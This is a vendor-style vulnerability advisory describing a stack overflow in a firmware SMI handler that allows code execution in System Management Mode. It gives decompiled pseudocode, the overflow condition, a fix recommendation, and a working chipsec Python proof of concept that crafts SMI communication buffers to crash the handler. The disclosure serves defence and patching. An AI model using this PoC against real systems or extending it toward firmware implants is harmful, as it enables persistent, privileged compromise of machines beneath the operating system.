[BRLY-2022-016] Stack overflow vulnerability in SMI handler.

Summary

Binarly REsearch Team has discovered stack overflow vulnerability in SMI handler on Intel platforms allowing a possible attacker to execute arbitrary code in SMM.

Vulnerability Information

• BINARLY internal vulnerability identifier: BRLY-2022-016
• Intel PSIRT assigned CVE identifier: CVE-2022-33209
• AMI PSIRT assigned CVE identifier: CVE-2022-40250
• CERT/CC assigned case number: VU#158026
• FwHunt rule: BRLY-2022-016
• CVSS v3.1: 8.2 High AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Intel firmwares with confirmed impact by Binarly REsearch Team

Potential impact

An attacker can exploit this vulnerability to elevate privileges from ring 0 to ring -2, execute arbitrary code in System Management Mode - an evironment more privileged than operating system (OS) and completely isolated from it. Running arbitrary code in SMM additionally bypasses SMM-based SPI flash protections against modifications, which can help an attacker to install a firmware backdoor/implant into BIOS. Such a malicious firmware code in BIOS could persist across operating system re-installs. Additionally, this vulnerability potentially could be used by malicious actors to bypass security mechanisms provided by UEFI firmware (for example, Secure Boot and some types of memory isolation for hypervisors).

Vulnerability description

The vulnerability exists in child SW SMI handler registered with GUID 9c72f7fb-86b6-406f-b86e-f3809a86c138 and located at offset 0x1768 in the binary.The pseudocode for this handler is shown below:

EFI_STATUS __fastcall ChildSwSmiHandler(
        EFI_HANDLE DispatchHandle,
        const void *Context,
        _QWORD *CommBuffer,
        UINTN *CommBufferSize)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  if ( !gAmiSmmBufferValidationProtocol
    || (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(
         CommBuffer,
         48,
         CommBuffer,
         CommBufferSize) < 0 )
  {
    return 0;
  }
  switch ( *CommBuffer )
  {
    case 1:
      v13 = CommBuffer[1];
      if ( v13
        && (!gAmiSmmBufferValidationProtocol
         || (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(v13, 4095) < 0) )
      {
        return 0;
      }
      v14 = CommBuffer[4];
      if ( v14 )
      {
        if ( !gAmiSmmBufferValidationProtocol
          || (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(v14, 8) < 0 )
        {
          return 0;
        }
      }
      LOBYTE(CommBuffer14b) = *((_BYTE *)CommBuffer + 20);
      Status = gSmbiosElog->ApiFunc1(
                 gSmbiosElog,
                 CommBuffer[1],
                 *((unsigned int *)CommBuffer + 4),
                 CommBuffer14b,
                 CommBuffer[3],
                 CommBuffer[4]);
_SetStatusAndReturn:
      CommBuffer[5] = Status;
      return 0;
    case 2:
      Arg1 = CommBuffer[1];
      if ( Arg1
        && (!gAmiSmmBufferValidationProtocol
         || (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(Arg1, 4095) < 0) )
      {
        return 0;
      }
      Arg3_MaxSize = CommBuffer[3];
      if ( Arg3_MaxSize )
      {
        if ( !gAmiSmmBufferValidationProtocol
          || (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(Arg3_MaxSize, 8) < 0 )
        {
          return 0;
        }
      }
      Arg4 = CommBuffer[4];
      if ( Arg4 )
      {
        if ( !gAmiSmmBufferValidationProtocol
          || (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(Arg4, 8) < 0 )
        {
          return 0;
        }
      }
      Status = gSmbiosElog->ApiFunc2(
                 gSmbiosElog,
                 CommBuffer[1],
                 *((unsigned int *)CommBuffer + 4),
                 CommBuffer[3],
                 CommBuffer[4]);
      goto _SetStatusAndReturn;
    case 3:
      Arg2_1 = CommBuffer[2];
      if ( !Arg2_1
        || gAmiSmmBufferValidationProtocol
        && (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(Arg2_1, 8) >= 0 )
      {
        CommBuffer[3] = gSmbiosElog->ApiFunc3(gSmbiosElog, *((unsigned int *)CommBuffer + 2), CommBuffer[2]);
      }
      break;
    case 4:
      Arg2 = CommBuffer[2];
      if ( !Arg2
        || gAmiSmmBufferValidationProtocol
        && (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(Arg2, 1) >= 0 )
      {
        Arg3 = CommBuffer[3];
        if ( !Arg3
          || gAmiSmmBufferValidationProtocol
          && (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(Arg3, 1) >= 0 )
        {
          CommBuffer[4] = gSmbiosElog->ApiFunc4(
                            gSmbiosElog,
                            *((unsigned int *)CommBuffer + 2),
                            CommBuffer[2],
                            CommBuffer[3]);
        }
      }
      break;
  }
  return 0;
}

The CommBuffer is assumed to have the following structure:

• Command (8 bytes)
• Arg1 (X bytes)
• Arg2 (X bytes)
• ...
• ArgN (X bytes)
• Status (8 bytes)

Depending on the Command value, one of the 4 functions can be executed:

• gSmbiosElog->ApiFunc1
• gSmbiosElog->ApiFunc2
• gSmbiosElog->ApiFunc3
• gSmbiosElog->ApiFunc4

Consider gSmbiosElog->ApiFunc1 (located at offset 0x1768 in the binary). The pseudocode for this function is shown below:

MACRO_EFI __fastcall FuncCase1(__int64 SmbiosElog, __int16 *Arg1, __int64 Arg2, __int64 Arg3, UINTN Arg4, _QWORD *Arg5)
{
  ...
  unsigned __int8 DestinationBuffer[127];

  if ( Arg2 )
    return EFI_NOT_FOUND;
  if ( !gFlag )
    return EFI_UNSUPPORTED;
  if ( !Arg1 )
    return EFI_INVALID_PARAMETER;
  Arg5_1 = Arg5;
  if ( !Arg5 )
    return EFI_INVALID_PARAMETER;
  p_ValueFromArg1_1 = &ValueFromArg1_1;
  SetTimeInfo(&ValueFromArg1, Arg1, Arg2);
  Case = 0xFF;
  if ( *Arg1 == 0xE2 )
  {
    Value = *(Arg1 + 1);                        // should be set to 0x81 (as an example)
                                                // Value >= 0x80 and not in gCases, gCases1
    p_ValueFromArg1_1 = Arg1;
  }
  else...
  ValueFromArg1 = Value;
  if ( Value > 23 || (v13 = 0xFF7FFE, !_bittest(&v13, Value)) )
  {
    if ( Value < 0x80 )
      return EFI_UNSUPPORTED;
  }
  v14 = 0;
  while ( gCases[2 * v14] != Value )
  {
    if ( ++v14 >= 25 )
      goto _LeaveCaseFF;
  }
  Case = gCases1[2 * v14];
_LeaveCaseFF:
  ZeroMem(DestinationBuffer, 127);
  v16 = 8;
  switch...
  v30 = v16;
  switch...
  v16 = Arg4 + 8;
  v30 = Arg4 + 8;
  if ( Arg4 && DestinationBuffer != (Arg1 + 4) )
  {
    // will overwrite the return address if Arg4 >= 0x130
    CopyMem(DestinationBuffer, Arg1 + 4, Arg4);
    v16 = v30;
  }
  ...
  return EFI_OUT_OF_RESOURCES;
}

All arguments (Arg1, Arg2, Arg3, Arg4, Arg5) are controlled by the attacker.Arg4 is not checked, so calling CopyMem(DestinationBuffer, Arg1 + 4, Arg4) may cause a stack overflow.

A potential attacker could сompletely overwrite the return address via an overflow on the stack if Arg4 >= 0x130.

Steps for exploitation

Below is the minimum PoC leading to DOS:

import os
import struct
import sys

sys.path.append(os.path.join(os.path.dirname(__file__), ".."))
import ctypes

import chipsec
import chipsec.chipset
import hexdump
from chipsec.hal.interrupts import Interrupts
from chipsec.hal.uefi import UEFI

cs = chipsec.chipset.cs()
cs.init(None, True, True)
intr = Interrupts(cs)
uefi = UEFI(cs)

rtcode_start = 0x000000005A73B000  # from memmap
rtcode_end = 0x000000005A7FEFFF

AMI_SMM_DUMMY_PROTOCOL_REDIR_GUID = "9c72f7fb-86b6-406f-b86e-f3809a86c138"


class CommBufferStructureCase4(ctypes.LittleEndianStructure):
    _pack_ = 1
    _fields_ = [
        ("Command", ctypes.c_uint64),
        ("Arg1", ctypes.c_uint64),
        ("Arg2", ctypes.c_uint64),
        ("Arg3", ctypes.c_uint64),
        ("StatusCode", ctypes.c_uint64),
    ]


class CommBufferStructureCase1(ctypes.LittleEndianStructure):
    _pack_ = 1
    _fields_ = [
        ("Command", ctypes.c_uint64),  # 0x00
        ("Arg1", ctypes.c_uint64),  # 0x08
        ("Arg2", ctypes.c_uint32),  # 0x10
        ("Arg3", ctypes.c_uint8),  # 0x14
        ("Undefined", ctypes.c_uint8 * 3),
        ("Arg4", ctypes.c_uint64),  # 0x18
        ("Arg5", ctypes.c_uint64),  # 0x20
        ("StatusCode", ctypes.c_uint64),  # 0x28
    ]


def locate_smmc(rtcode_start, rtcode_end):
    # locate SMM_CORE_PRIVATE_DATA
    data = cs.helper.read_physical_mem(rtcode_start, rtcode_end - rtcode_start + 1)
    smmc_offset = data.find(b"smmc")
    smmc_loc = rtcode_start + smmc_offset

    return smmc_loc


smmc_loc = locate_smmc(rtcode_start, rtcode_end)


def set_flag_api4():
    # setup for communication buffer
    payload_loc = 0x53000000
    buffer_loc = payload_loc + 24  # CommBuffer address

    arg2_addr = payload_loc + 64
    arg3_addr = payload_loc + 65
    cs.helper.write_physical_mem(arg2_addr, 8, struct.pack("<Q", 1))

    buffer = CommBufferStructureCase4()
    buffer.Command = 4
    buffer.Arg1 = 0  # if ( Arg1 ) return EFI_NOT_FOUND
    buffer.Arg2 = arg2_addr  # FlagValue = *Arg2 == 1
    buffer.Arg3 = arg3_addr  # *Arg3 = FlagValue
    buffer.StatusCode = -1

    buffer_size = len(bytes(buffer))

    print(f"Buffer before:")
    hexdump.hexdump(bytes(buffer))

    # trigger handler
    ReturnStatus = intr.send_smmc_SMI(
        smmc_loc, AMI_SMM_DUMMY_PROTOCOL_REDIR_GUID, bytes(buffer), payload_loc
    )
    status = chipsec.hal.uefi_common.EFI_ERROR_STR(ReturnStatus)
    print(f"Handler return status: {status}")

    data = cs.helper.read_physical_mem(buffer_loc, buffer_size)
    print(f"Buffer after:")
    hexdump.hexdump(data)

    api_status_value = cs.helper.read_physical_mem(buffer_loc + 0x20, 8)
    api_status = struct.unpack("<Q", api_status_value)[0]
    status = chipsec.hal.uefi_common.EFI_ERROR_STR(api_status)
    print(f"API return status: {status}")

    flag_value = cs.helper.read_physical_mem(arg3_addr, 1)
    flag = struct.unpack("<B", flag_value)[0]
    print(f"Flag value: {flag}")


def vuln_api1():
    # setup for communication buffer
    payload_loc = 0x53000000
    buffer_loc = payload_loc + 24  # CommBuffer address

    arg5_addr = payload_loc + 120
    arg1_addr = payload_loc + 128
    cs.helper.write_physical_mem(
        arg1_addr, 1, struct.pack("<B", 0xE2)
    )  # if ( *Arg1 == 0xE2 )
    cs.helper.write_physical_mem(
        arg1_addr + 1, 1, struct.pack("<B", 0x81)
    )  # Value = *(Arg1 + 1)

    buffer = CommBufferStructureCase1()
    buffer.Command = 1
    buffer.Arg1 = arg1_addr
    buffer.Arg2 = 0  # if ( Arg2 ) return EFI_NOT_FOUND
    buffer.Arg3 = 0  # any value
    buffer.Arg4 = 1337  # CopyMem size param
    buffer.Arg5 = arg5_addr
    buffer.StatusCode = -1

    buffer_size = len(bytes(buffer))

    print(f"Buffer before:")
    hexdump.hexdump(bytes(buffer))

    # trigger handler
    ReturnStatus = intr.send_smmc_SMI(
        smmc_loc, AMI_SMM_DUMMY_PROTOCOL_REDIR_GUID, bytes(buffer), payload_loc
    )
    status = chipsec.hal.uefi_common.EFI_ERROR_STR(ReturnStatus)
    print(f"Handler return status: {status}")

    data = cs.helper.read_physical_mem(buffer_loc, buffer_size)
    print(f"Buffer after:")
    hexdump.hexdump(data)

    api_status_value = cs.helper.read_physical_mem(buffer_loc + 0x28, 8)
    api_status = struct.unpack("<Q", api_status_value)[0]
    status = chipsec.hal.uefi_common.EFI_ERROR_STR(api_status)
    print(f"API return status: {status}")


if __name__ == "__main__":
    set_flag_api4()  # set gFlag
    vuln_api1()

How to fix it

In order to fix this vulnerability, the check for Arg4 must be added before calling the CopyMem function.

It should be noted that vulnerable function (FuncCase1) is present in the firmware in two instances:

• in SmbiosElog DXE driver {13c5506e-8231-415e-9ebc-88dd115e3818}
• in SmmSmbiosElog SMM driver {8e61fd6b-7a8b-404f-b83f-aa90a47cabdf}

Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

Acknowledgements

Binarly REsearch Team